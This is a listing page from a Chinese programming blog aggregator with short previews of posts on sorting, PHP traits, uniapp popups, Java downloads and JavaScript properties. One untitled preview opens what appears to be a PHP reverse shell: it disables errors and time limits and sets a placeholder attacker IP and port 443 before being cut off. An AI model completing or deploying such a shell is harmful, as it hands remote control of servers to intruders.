冒泡排序: 数据少时可以用,简单,稳定 具体实现: /** * @param $array * @return mixed */ public function sort($array) { $len = count($array); if ($len 1) { return $array; } / ...
分类:
编程语言 时间:
2021-07-12 18:05:32
阅读次数:
0
2021年7月10日22:44:49 trait zx { // const sss = 9; public static function tt() { echo 'tt'; } public function yy() { echo 'yy'; } } class uu { use zx; co ...
分类:
Web程序 时间:
2021-07-12 17:56:00
阅读次数:
0
uniapp兼容多端自定义模态弹框组件UAPopup ua-popup 一款轻量级的uniapp自定义弹窗组件。汇集了android、ios和微信弹窗效果(msg消息、alert提示框、dialog对话框、actionsheet底部动作框、toast轻提示、长按定位菜单)等功能。 如下图:H5+Ap ...
分类:
微信 时间:
2021-07-12 17:47:23
阅读次数:
0
/** * 文件下载 */ @GetMapping(value = "/download") public void download(HttpServletResponse response) { //文件路径 try { //文件字节流 JAVA将文件转换成byte数组(byte[]) 参考:h ...
分类:
编程语言 时间:
2021-07-09 17:56:25
阅读次数:
0
public int calculate(String s) { int len = s.length(); Stack<Integer> s1 = new Stack<>(); // 操作数栈 int num = 0; char preSign = '+'; // 为了方便计算,1+1+1 > + ...
分类:
其他好文 时间:
2021-07-07 17:55:15
阅读次数:
0
二维数组的遍历使用foreach public int numWays(int n, int[][] relation, int k) { ways = 0; this.n = n; this.k = k; edges = new ArrayList<>(); //把关系处理成list,类似于图的每 ...
分类:
编程语言 时间:
2021-07-07 17:49:25
阅读次数:
0
一、简介 基于matlab GUI音乐时钟设计 二、源代码 function varargout = untitled(varargin) % UNTITLED M-file for untitled.fig % UNTITLED, by itself, creates a new UNTITLED ...
分类:
其他好文 时间:
2021-07-07 17:48:53
阅读次数:
0
普通属性直接赋值,高级属性可以根据你的业务需要进行赋值, /* 定义高级属性 */ const user = { _age: 0 } //这种方式定义的age无法存储数,只是对某个变量成员的代理,加入get和set的目是让你的属性具有 //了行为,也就是我们可以再访问或者是设置属性的时候,添加更多的 ...
分类:
其他好文 时间:
2021-07-05 19:07:14
阅读次数:
0
<?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $ipaddr = 'xxx.xxx.xxx.xxx'; $port = '443'; $msg = php_unam ...
使用lambda表达式 Collections.sort(List, (a,b) -> x1 - x2); 自定义Comparator方法 Collections.sort(List, new Comparator<E>(){ public int compare(int a, int b){ re ...
分类:
编程语言 时间:
2021-07-05 18:56:31
阅读次数:
0